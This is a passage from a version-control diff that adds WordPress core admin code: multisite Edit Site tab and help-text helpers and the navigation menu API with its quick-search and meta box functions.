+		'site-users'    => array( 'label' => __( 'Users' ),    'url' => 'site-users.php',    'cap' => 'manage_sites' ),
+		'site-themes'   => array( 'label' => __( 'Themes' ),   'url' => 'site-themes.php',   'cap' => 'manage_sites' ),
+		'site-settings' => array( 'label' => __( 'Settings' ), 'url' => 'site-settings.php', 'cap' => 'manage_sites' )
+	) );
+
+	// Parse arguments
+	$r = wp_parse_args( $args, array(
+		'blog_id'  => isset( $_GET['blog_id'] ) ? (int) $_GET['blog_id'] : 0,
+		'links'    => $links,
+		'selected' => 'site-info',
+	) );
+
+	// Setup the links array
+	$screen_links = array();
+
+	// Loop through tabs
+	foreach ( $r['links'] as $link_id => $link ) {
+
+		// Skip link if user can't access
+		if ( ! current_user_can( $link['cap'], $r['blog_id'] ) ) {
+			continue;
+		}
+
+		// Link classes
+		$classes = array( 'nav-tab' );
+
+		// Selected is set by the parent OR assumed by the $pagenow global
+		if ( $r['selected'] === $link_id || $link['url'] === $GLOBALS['pagenow'] ) {
+			$classes[] = 'nav-tab-active';
+		}
+
+		// Escape each class
+		$esc_classes = implode( ' ', $classes );
+
+		// Get the URL for this link
+		$url = add_query_arg( array( 'id' => $r['blog_id'] ), network_admin_url( $link['url'] ) );
+
+		// Add link to nav links
+		$screen_links[ $link_id ] = '<a href="' . esc_url( $url ) . '" id="' . esc_attr( $link_id ) . '" class="' . $esc_classes . '">' . esc_html( $link['label'] ) . '</a>';
+	}
+
+	// All done!
+	echo '<h2 class="nav-tab-wrapper wp-clearfix">';
+	echo implode( '', $screen_links );
+	echo '</h2>';
+}
+
+/**
+ * Returns the arguments for the help tab on the Edit Site screens.
+ *
+ * @since 4.9.0
+ *
+ * @return array Help tab arguments.
+ */
+function get_site_screen_help_tab_args() {
+	return array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('The menu is for editing information specific to individual sites, particularly if the admin area of a site is unavailable.') . '</p>' .
+			'<p>' . __('<strong>Info</strong> &mdash; The site URL is rarely edited as this can cause the site to not work properly. The Registered date and Last Updated date are displayed. Network admins can mark a site as archived, spam, deleted and mature, to remove from public listings or disable.') . '</p>' .
+			'<p>' . __('<strong>Users</strong> &mdash; This displays the users associated with this site. You can also change their role, reset their password, or remove them from the site. Removing the user from the site does not remove the user from the network.') . '</p>' .
+			'<p>' . sprintf( __('<strong>Themes</strong> &mdash; This area shows themes that are not already enabled across the network. Enabling a theme in this menu makes it accessible to this site. It does not activate the theme, but allows it to show in the site&#8217;s Appearance menu. To enable a theme for the entire network, see the <a href="%s">Network Themes</a> screen.' ), network_admin_url( 'themes.php' ) ) . '</p>' .
+			'<p>' . __('<strong>Settings</strong> &mdash; This page shows a list of all settings associated with this site. Some are created by WordPress and others are created by plugins you activate. Note that some fields are grayed out and say Serialized Data. You cannot modify these values due to the way the setting is stored in the database.') . '</p>'
+	);
+}
+
+/**
+ * Returns the content for the help sidebar on the Edit Site screens.
+ *
+ * @since 4.9.0
+ *
+ * @return string Help sidebar content.
+ */
+function get_site_screen_help_sidebar_content() {
+	return '<p><strong>' . __('For more information:') . '</strong></p>' .
+		'<p>' . __('<a href="https://codex.wordpress.org/Network_Admin_Sites_Screen">Documentation on Site Management</a>') . '</p>' .
+		'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/">Support Forums</a>') . '</p>';
+}
Index: /tags/5.0.20/src/wp-admin/includes/nav-menu.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/nav-menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/nav-menu.php	(revision 56912)
@@ -0,0 +1,1137 @@
+<?php
+/**
+ * Core Navigation Menu API
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 3.0.0
+ */
+
+/** Walker_Nav_Menu_Edit class */
+require_once( ABSPATH . 'wp-admin/includes/class-walker-nav-menu-edit.php' );
+
+/** Walker_Nav_Menu_Checklist class */
+require_once( ABSPATH . 'wp-admin/includes/class-walker-nav-menu-checklist.php' );
+
+/**
+ * Prints the appropriate response to a menu quick search.
+ *
+ * @since 3.0.0
+ *
+ * @param array $request The unsanitized request values.
+ */
+function _wp_ajax_menu_quick_search( $request = array() ) {
+	$args = array();
+	$type = isset( $request['type'] ) ? $request['type'] : '';
+	$object_type = isset( $request['object_type'] ) ? $request['object_type'] : '';
+	$query = isset( $request['q'] ) ? $request['q'] : '';
+	$response_format = isset( $request['response-format'] ) && in_array( $request['response-format'], array( 'json', 'markup' ) ) ? $request['response-format'] : 'json';
+
+	if ( 'markup' == $response_format ) {
+		$args['walker'] = new Walker_Nav_Menu_Checklist;
+	}
+
+	if ( 'get-post-item' == $type ) {
+		if ( post_type_exists( $object_type ) ) {
+			if ( isset( $request['ID'] ) ) {
+				$object_id = (int) $request['ID'];
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $object_id ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => $object_id,
+							'post_title' => get_the_title( $object_id ),
+							'post_type' => get_post_type( $object_id ),
+						)
+					);
+					echo "\n";
+				}
+			}
+		} elseif ( taxonomy_exists( $object_type ) ) {
+			if ( isset( $request['ID'] ) ) {
+				$object_id = (int) $request['ID'];
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					$post_obj = get_term( $object_id, $object_type );
+					echo wp_json_encode(
+						array(
+							'ID' => $object_id,
+							'post_title' => $post_obj->name,
+							'post_type' => $object_type,
+						)
+					);
+					echo "\n";
+				}
+			}
+
+		}
+
+	} elseif ( preg_match('/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches) ) {
+		if ( 'posttype' == $matches[1] && get_post_type_object( $matches[2] ) ) {
+			$post_type_obj = _wp_nav_menu_meta_box_object( get_post_type_object( $matches[2] ) );
+			$args = array_merge(
+				$args,
+				array(
+					'no_found_rows'          => true,
+					'update_post_meta_cache' => false,
+					'update_post_term_cache' => false,
+					'posts_per_page'         => 10,
+					'post_type'              => $matches[2],
+					's'                      => $query,
+				)
+			);
+			if ( isset( $post_type_obj->_default_query ) ) {
+				$args = array_merge( $args, (array) $post_type_obj->_default_query );
+			}
+			$search_results_query = new WP_Query( $args );
+			if ( ! $search_results_query->have_posts() ) {
+				return;
+			}
+			while ( $search_results_query->have_posts() ) {
+				$post = $search_results_query->next_post();
+				if ( 'markup' == $response_format ) {
+					$var_by_ref = $post->ID;
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => $post->ID,
+							'post_title' => get_the_title( $post->ID ),
+							'post_type' => $matches[2],
+						)
+					);
+					echo "\n";
+				}
+			}
+		} elseif ( 'taxonomy' == $matches[1] ) {
+			$terms = get_terms( $matches[2], array(
+				'name__like' => $query,
+				'number' => 10,
+			));
+			if ( empty( $terms ) || is_wp_error( $terms ) )
+				return;
+			foreach ( (array) $terms as $term ) {
+				if ( 'markup' == $response_format ) {
+					echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', array( $term ) ), 0, (object) $args );
+				} elseif ( 'json' == $response_format ) {
+					echo wp_json_encode(
+						array(
+							'ID' => $term->term_id,
+							'post_title' => $term->name,
+							'post_type' => $matches[2],
+						)
+					);
+					echo "\n";
+				}
+			}
+		}
+	}
+}
+
+/**
+ * Register nav menu meta boxes and advanced menu items.
+ *
+ * @since 3.0.0
+ **/
+function wp_nav_menu_setup() {
+	// Register meta boxes
+	wp_nav_menu_post_type_meta_boxes();
+	add_meta_box( 'add-custom-links', __( 'Custom Links' ), 'wp_nav_menu_item_link_meta_box', 'nav-menus', 'side', 'default' );
+	wp_nav_menu_taxonomy_meta_boxes();
+
+	// Register advanced menu items (columns)
+	add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );
+
+	// If first time editing, disable advanced items by default.
+	if ( false === get_user_option( 'managenav-menuscolumnshidden' ) ) {
+		$user = wp_get_current_user();
+		update_user_option($user->ID, 'managenav-menuscolumnshidden',
+			array( 0 => 'link-target', 1 => 'css-classes', 2 => 'xfn', 3 => 'description', 4 => 'title-attribute', ),
+			true);
+	}
+}
+
+/**
+ * Limit the amount of meta boxes to pages, posts, links, and categories for first time users.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_meta_boxes
+ **/
+function wp_initial_nav_menu_meta_boxes() {
+	global $wp_meta_boxes;
+
+	if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array($wp_meta_boxes) )
+		return;
+
+	$initial_meta_boxes = array( 'add-post-type-page', 'add-post-type-post', 'add-custom-links', 'add-category' );
+	$hidden_meta_boxes = array();
+
+	foreach ( array_keys($wp_meta_boxes['nav-menus']) as $context ) {
+		foreach ( array_keys($wp_meta_boxes['nav-menus'][$context]) as $priority ) {
+			foreach ( $wp_meta_boxes['nav-menus'][$context][$priority] as $box ) {
+				if ( in_array( $box['id'], $initial_meta_boxes ) ) {
+					unset( $box['id'] );
+				} else {
+					$hidden_meta_boxes[] = $box['id'];
+				}
+			}
+		}
+	}
+
+	$user = wp_get_current_user();
+	update_user_option( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes, true );
+}
+
+/**
+ * Creates meta boxes for any post type menu item..
+ *
+ * @since 3.0.0
+ */
+function wp_nav_menu_post_type_meta_boxes() {
+	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
+
+	if ( ! $post_types )
+		return;
+
+	foreach ( $post_types as $post_type ) {
+		/**
+		 * Filters whether a menu items meta box will be added for the current
+		 * object type.
+		 *
+		 * If a falsey value is returned instead of an object, the menu items
+		 * meta box for the current meta box object will not be added.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param object $meta_box_object The current object to add a menu items
+		 *                                meta box for.
+		 */
+		$post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );
+		if ( $post_type ) {
+			$id = $post_type->name;
+			// Give pages a higher priority.
+			$priority = ( 'page' == $post_type->name ? 'core' : 'default' );
+			add_meta_box( "add-post-type-{$id}", $post_type->labels->name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', $priority, $post_type );
+		}
+	}
+}
+
+/**
+ * Creates meta boxes for any taxonomy menu item.
+ *
+ * @since 3.0.0
+ */
+function wp_nav_menu_taxonomy_meta_boxes() {
+	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );
+
+	if ( !$taxonomies )
+		return;
+
+	foreach ( $taxonomies as $tax ) {
+		/** This filter is documented in wp-admin/includes/nav-menu.php */
+		$tax = apply_filters( 'nav_menu_meta_box_object', $tax );
+		if ( $tax ) {
+			$id = $tax->name;
+			add_meta_box( "add-{$id}", $tax->labels->name, 'wp_nav_menu_item_taxonomy_meta_box', 'nav-menus', 'side', 'default', $tax );
+		}
+	}
+}
+
+/**
+ * Check whether to disable the Menu Locations meta box submit button
+ *
+ * @since 3.6.0
+ *
+ * @global bool $one_theme_location_no_menus to determine if no menus exist
+ *
+ * @param int|string $nav_menu_selected_id (id, name or slug) of the currently-selected menu
+ * @return string Disabled attribute if at least one menu exists, false if not
+ */
+function wp_nav_menu_disabled_check( $nav_menu_selected_id ) {
+	global $one_theme_location_no_menus;
+
+	if ( $one_theme_location_no_menus )
+		return false;
+
+	return disabled( $nav_menu_selected_id, 0 );
+}
+
+/**
+ * Displays a meta box for the custom links menu item.
+ *
+ * @since 3.0.0
+ *
+ * @global int        $_nav_menu_placeholder
+ * @global int|string $nav_menu_selected_id
+ */
+function wp_nav_menu_item_link_meta_box() {
+	global $_nav_menu_placeholder, $nav_menu_selected_id;
+
+	$_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1;
+
+	?>
+	<div class="customlinkdiv" id="customlinkdiv">
+		<input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" />
+		<p id="menu-item-url-wrap" class="wp-clearfix">
+			<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
+			<input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]" type="text" class="code menu-item-textbox" value="http://" />
+		</p>
+
+		<p id="menu-item-name-wrap" class="wp-clearfix">
+			<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
+			<input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]" type="text" class="regular-text menu-item-textbox" />
+		</p>
+
+		<p class="button-controls wp-clearfix">
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e('Add to Menu'); ?>" name="add-custom-menu-item" id="submit-customlinkdiv" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.customlinkdiv -->
+	<?php
+}
+
+/**
+ * Displays a meta box for a post type menu item.
+ *
+ * @since 3.0.0
+ *
+ * @global int        $_nav_menu_placeholder
+ * @global int|string $nav_menu_selected_id
+ *
+ * @param string $object Not used.
+ * @param array  $box {
+ *     Post type menu item meta box arguments.
+ *
+ *     @type string       $id       Meta box 'id' attribute.
+ *     @type string       $title    Meta box title.
+ *     @type string       $callback Meta box display callback.
+ *     @type WP_Post_Type $args     Extra meta box arguments (the post type object for this meta box).
+ * }
+ */
+function wp_nav_menu_item_post_type_meta_box( $object, $box ) {
+	global $_nav_menu_placeholder, $nav_menu_selected_id;
+
+	$post_type_name = $box['args']->name;
+
+	// Paginate browsing for large numbers of post objects.
+	$per_page = 50;
+	$pagenum = isset( $_REQUEST[$post_type_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
+	$offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;
+
+	$args = array(
+		'offset' => $offset,
+		'order' => 'ASC',
+		'orderby' => 'title',
+		'posts_per_page' => $per_page,
+		'post_type' => $post_type_name,
+		'suppress_filters' => true,
+		'update_post_term_cache' => false,
+		'update_post_meta_cache' => false
+	);
+
+	if ( isset( $box['args']->_default_query ) )
+		$args = array_merge($args, (array) $box['args']->_default_query );
+
+	// @todo transient caching of these results with proper invalidation on updating of a post of this type
+	$get_posts = new WP_Query;
+	$posts = $get_posts->query( $args );
+	if ( ! $get_posts->post_count ) {
+		echo '<p>' . __( 'No items.' ) . '</p>';
+		return;
+	}
+
+	$num_pages = $get_posts->max_num_pages;
+
+	$page_links = paginate_links( array(
+		'base' => add_query_arg(
+			array(
+				$post_type_name . '-tab' => 'all',
+				'paged' => '%#%',
+				'item-type' => 'post_type',
+				'item-object' => $post_type_name,
+			)
+		),
+		'format' => '',
+		'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
+		'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
+		'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
+		'total'   => $num_pages,
+		'current' => $pagenum
+	));
+
+	$db_fields = false;
+	if ( is_post_type_hierarchical( $post_type_name ) ) {
+		$db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' );
+	}
+
+	$walker = new Walker_Nav_Menu_Checklist( $db_fields );
+
+	$current_tab = 'most-recent';
+	if ( isset( $_REQUEST[$post_type_name . '-tab'] ) && in_array( $_REQUEST[$post_type_name . '-tab'], array('all', 'search') ) ) {
+		$current_tab = $_REQUEST[$post_type_name . '-tab'];
+	}
+
+	if ( ! empty( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {
+		$current_tab = 'search';
+	}
+
+	$removed_args = array(
+		'action',
+		'customlink-tab',
+		'edit-menu-item',
+		'menu-item',
+		'page-tab',
+		'_wpnonce',
+	);
+
+	?>
+	<div id="posttype-<?php echo $post_type_name; ?>" class="posttypediv">
+		<ul id="posttype-<?php echo $post_type_name; ?>-tabs" class="posttype-tabs add-menu-item-tabs">
+			<li <?php echo ( 'most-recent' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-most-recent" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'most-recent', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent">
+					<?php _e( 'Most Recent' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="<?php echo esc_attr( $post_type_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#<?php echo $post_type_name; ?>-all">
+					<?php _e( 'View All' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-search" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($post_type_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-search">
+					<?php _e( 'Search'); ?>
+				</a>
+			</li>
+		</ul><!-- .posttype-tabs -->
+
+		<div id="tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent" class="tabs-panel <?php
+			echo ( 'most-recent' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<ul id="<?php echo $post_type_name; ?>checklist-most-recent" class="categorychecklist form-no-clear">
+				<?php
+				$recent_args = array_merge( $args, array( 'orderby' => 'post_date', 'order' => 'DESC', 'posts_per_page' => 15 ) );
+				$most_recent = $get_posts->query( $recent_args );
+				$args['walker'] = $walker;
+
+				/**
+				 * Filters the posts displayed in the 'Most Recent' tab of the current
+				 * post type's menu items meta box.
+				 *
+				 * The dynamic portion of the hook name, `$post_type_name`, refers to the post type name.
+				 *
+				 * @since 4.3.0
+				 * @since 4.9.0 Added the `$recent_args` parameter.
+				 *
+				 * @param array $most_recent An array of post objects being listed.
+				 * @param array $args        An array of WP_Query arguments for the meta box.
+				 * @param array $box         Arguments passed to wp_nav_menu_item_post_type_meta_box().
+				 * @param array $recent_args An array of WP_Query arguments for 'Most Recent' tab.
+				 */
+				$most_recent = apply_filters( "nav_menu_items_{$post_type_name}_recent", $most_recent, $args, $box, $recent_args );
+
+				echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $most_recent ), 0, (object) $args );
+				?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div class="tabs-panel <?php
+			echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>" id="tabs-panel-posttype-<?php echo $post_type_name; ?>-search">
+			<?php
+			if ( isset( $_REQUEST['quick-search-posttype-' . $post_type_name] ) ) {
+				$searched = esc_attr( $_REQUEST['quick-search-posttype-' . $post_type_name] );
+				$search_results = get_posts( array( 's' => $searched, 'post_type' => $post_type_name, 'fields' => 'all', 'order' => 'DESC', ) );
+			} else {
+				$searched = '';
+				$search_results = array();
+			}
+			?>
+			<p class="quick-search-wrap">
+				<label for="quick-search-posttype-<?php echo $post_type_name; ?>" class="screen-reader-text"><?php _e( 'Search' ); ?></label>
+				<input type="search" class="quick-search" value="<?php echo $searched; ?>" name="quick-search-posttype-<?php echo $post_type_name; ?>" id="quick-search-posttype-<?php echo $post_type_name; ?>" />
+				<span class="spinner"></span>
+				<?php submit_button( __( 'Search' ), 'small quick-search-submit hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-posttype-' . $post_type_name ) ); ?>
+			</p>
+
+			<ul id="<?php echo $post_type_name; ?>-search-checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear">
+			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args );
+				?>
+			<?php elseif ( is_wp_error( $search_results ) ) : ?>
+				<li><?php echo $search_results->get_error_message(); ?></li>
+			<?php elseif ( ! empty( $searched ) ) : ?>
+				<li><?php _e('No results found.'); ?></li>
+			<?php endif; ?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div id="<?php echo $post_type_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php
+			echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+			<ul id="<?php echo $post_type_name; ?>checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear">
+				<?php
+				$args['walker'] = $walker;
+
+				/*
+				 * If we're dealing with pages, let's put a checkbox for the front
+				 * page at the top of the list.
+				 */
+				if ( 'page' == $post_type_name ) {
+					$front_page = 'page' == get_option('show_on_front') ? (int) get_option( 'page_on_front' ) : 0;
+					if ( ! empty( $front_page ) ) {
+						$front_page_obj = get_post( $front_page );
+						$front_page_obj->front_or_home = true;
+						array_unshift( $posts, $front_page_obj );
+					} else {
+						$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;
+						array_unshift( $posts, (object) array(
+							'front_or_home' => true,
+							'ID' => 0,
+							'object_id' => $_nav_menu_placeholder,
+							'post_content' => '',
+							'post_excerpt' => '',
+							'post_parent' => '',
+							'post_title' => _x('Home', 'nav menu home label'),
+							'post_type' => 'nav_menu_item',
+							'type' => 'custom',
+							'url' => home_url('/'),
+						) );
+					}
+				}
+
+				$post_type = get_post_type_object( $post_type_name );
+
+				if ( $post_type->has_archive ) {
+					$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;
+					array_unshift( $posts, (object) array(
+						'ID' => 0,
+						'object_id' => $_nav_menu_placeholder,
+						'object'     => $post_type_name,
+						'post_content' => '',
+						'post_excerpt' => '',
+						'post_title' => $post_type->labels->archives,
+						'post_type' => 'nav_menu_item',
+						'type' => 'post_type_archive',
+						'url' => get_post_type_archive_link( $post_type_name ),
+					) );
+				}
+
+				/**
+				 * Filters the posts displayed in the 'View All' tab of the current
+				 * post type's menu items meta box.
+				 *
+				 * The dynamic portion of the hook name, `$post_type_name`, refers
+				 * to the slug of the current post type.
+				 *
+				 * @since 3.2.0
+				 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
+				 *
+				 * @see WP_Query::query()
+				 *
+				 * @param array        $posts     The posts for the current post type.
+				 * @param array        $args      An array of WP_Query arguments.
+				 * @param WP_Post_Type $post_type The current post type object for this menu item meta box.
+				 */
+				$posts = apply_filters( "nav_menu_items_{$post_type_name}", $posts, $args, $post_type );
+
+				$checkbox_items = walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $posts), 0, (object) $args );
+
+				if ( 'all' == $current_tab && ! empty( $_REQUEST['selectall'] ) ) {
+					$checkbox_items = preg_replace('/(type=(.)checkbox(\2))/', '$1 checked=$2checked$2', $checkbox_items);
+
+				}
+
+				echo $checkbox_items;
+				?>
+			</ul>
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+		</div><!-- /.tabs-panel -->
+
+		<p class="button-controls wp-clearfix">
+			<span class="list-controls">
+				<a href="<?php
+					echo esc_url( add_query_arg(
+						array(
+							$post_type_name . '-tab' => 'all',
+							'selectall' => 1,
+						),
+						remove_query_arg( $removed_args )
+					));
+				?>#posttype-<?php echo $post_type_name; ?>" class="select-all aria-button-if-js"><?php _e( 'Select All' ); ?></a>
+			</span>
+
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-post-type-menu-item" id="<?php echo esc_attr( 'submit-posttype-' . $post_type_name ); ?>" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.posttypediv -->
+	<?php
+}
+
+/**
+ * Displays a meta box for a taxonomy menu item.
+ *
+ * @since 3.0.0
+ *
+ * @global int|string $nav_menu_selected_id
+ *
+ * @param string $object Not used.
+ * @param array  $box {
+ *     Taxonomy menu item meta box arguments.
+ *
+ *     @type string $id       Meta box 'id' attribute.
+ *     @type string $title    Meta box title.
+ *     @type string $callback Meta box display callback.
+ *     @type object $args     Extra meta box arguments (the taxonomy object for this meta box).
+ * }
+ */
+function wp_nav_menu_item_taxonomy_meta_box( $object, $box ) {
+	global $nav_menu_selected_id;
+	$taxonomy_name = $box['args']->name;
+	$taxonomy = get_taxonomy( $taxonomy_name );
+
+	// Paginate browsing for large numbers of objects.
+	$per_page = 50;
+	$pagenum = isset( $_REQUEST[$taxonomy_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
+	$offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;
+
+	$args = array(
+		'child_of' => 0,
+		'exclude' => '',
+		'hide_empty' => false,
+		'hierarchical' => 1,
+		'include' => '',
+		'number' => $per_page,
+		'offset' => $offset,
+		'order' => 'ASC',
+		'orderby' => 'name',
+		'pad_counts' => false,
+	);
+
+	$terms = get_terms( $taxonomy_name, $args );
+
+	if ( ! $terms || is_wp_error($terms) ) {
+		echo '<p>' . __( 'No items.' ) . '</p>';
+		return;
+	}
+
+	$num_pages = ceil( wp_count_terms( $taxonomy_name , array_merge( $args, array('number' => '', 'offset' => '') ) ) / $per_page );
+
+	$page_links = paginate_links( array(
+		'base' => add_query_arg(
+			array(
+				$taxonomy_name . '-tab' => 'all',
+				'paged' => '%#%',
+				'item-type' => 'taxonomy',
+				'item-object' => $taxonomy_name,
+			)
+		),
+		'format' => '',
+		'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
+		'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
+		'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
+		'total'   => $num_pages,
+		'current' => $pagenum
+	));
+
+	$db_fields = false;
+	if ( is_taxonomy_hierarchical( $taxonomy_name ) ) {
+		$db_fields = array( 'parent' => 'parent', 'id' => 'term_id' );
+	}
+
+	$walker = new Walker_Nav_Menu_Checklist( $db_fields );
+
+	$current_tab = 'most-used';
+	if ( isset( $_REQUEST[$taxonomy_name . '-tab'] ) && in_array( $_REQUEST[$taxonomy_name . '-tab'], array('all', 'most-used', 'search') ) ) {
+		$current_tab = $_REQUEST[$taxonomy_name . '-tab'];
+	}
+
+	if ( ! empty( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) {
+		$current_tab = 'search';
+	}
+
+	$removed_args = array(
+		'action',
+		'customlink-tab',
+		'edit-menu-item',
+		'menu-item',
+		'page-tab',
+		'_wpnonce',
+	);
+
+	?>
+	<div id="taxonomy-<?php echo $taxonomy_name; ?>" class="taxonomydiv">
+		<ul id="taxonomy-<?php echo $taxonomy_name; ?>-tabs" class="taxonomy-tabs add-menu-item-tabs">
+			<li <?php echo ( 'most-used' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-pop" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'most-used', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-pop">
+					<?php echo esc_html( $taxonomy->labels->most_used ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-all">
+					<?php _e( 'View All' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-search-taxonomy-<?php echo esc_attr( $taxonomy_name ); ?>" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>">
+					<?php _e( 'Search' ); ?>
+				</a>
+			</li>
+		</ul><!-- .taxonomy-tabs -->
+
+		<div id="tabs-panel-<?php echo $taxonomy_name; ?>-pop" class="tabs-panel <?php
+			echo ( 'most-used' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<ul id="<?php echo $taxonomy_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
+				<?php
+				$popular_terms = get_terms( $taxonomy_name, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) );
+				$args['walker'] = $walker;
